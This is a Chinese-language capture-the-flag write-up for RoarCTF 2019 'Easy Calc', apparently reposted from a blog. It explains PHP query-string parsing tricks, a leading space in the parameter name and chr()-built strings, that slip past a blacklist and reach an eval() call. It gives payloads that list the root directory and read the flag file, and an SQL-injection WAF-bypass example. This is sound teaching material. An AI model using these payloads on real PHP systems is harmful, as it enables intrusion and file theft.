[RoarCTF 2019]Easy Calc 1

前言

这题的绕过方式都是我的知识盲区,真的是学习到新姿势了!

需要了解的知识点

这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

最关键的就是最后,解析查询字符串时,会删除空白格和将某些字符转换成下划线。这题就是利用删除空白符,至于第二点,我依稀还记得一个群里有人讨论过相关的题目,有空再去翻翻群消息去看看。

还有就是
在这里插入图片描述
知道了这两个点之后,就可以顺利解题了。

WP

首先我们可以通过抓包,发现calc.php:
在这里插入图片描述

直接访问calc.php,可以看到源码:

扫描二维码关注公众号,回复: 11975973 查看本文章
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    
    
    show_source(__FILE__);
}else{
    
    
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
    
    
                if (preg_match('/' . $blackitem . '/m', $str)) {
    
    
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以发现过滤了很多东西。
但是直接往num参数里传不行,如果在之前的计算那个网页尝试过几次,你会知道那个计算的东西是不允许传入字符的。因此我们可以利用字符串解析的特性,不传入num,而是传入 num(num前面有一个空格):

为什么要在num前加一个空格?

答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

这样我们就可以成功传入字符串了。但是!因为正则表达式过滤了单双引号和反引号,我们怎么找到flag呢?
就是利用chr。利用如下:

? num=var_dump(scandir(chr(47)))

我们利用chr这个函数来构造函数内的字符串参数,就不需要用单双引号,从而成功绕过正则表达式。
然后再直接访问flag文件就可以获得flag:

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109172067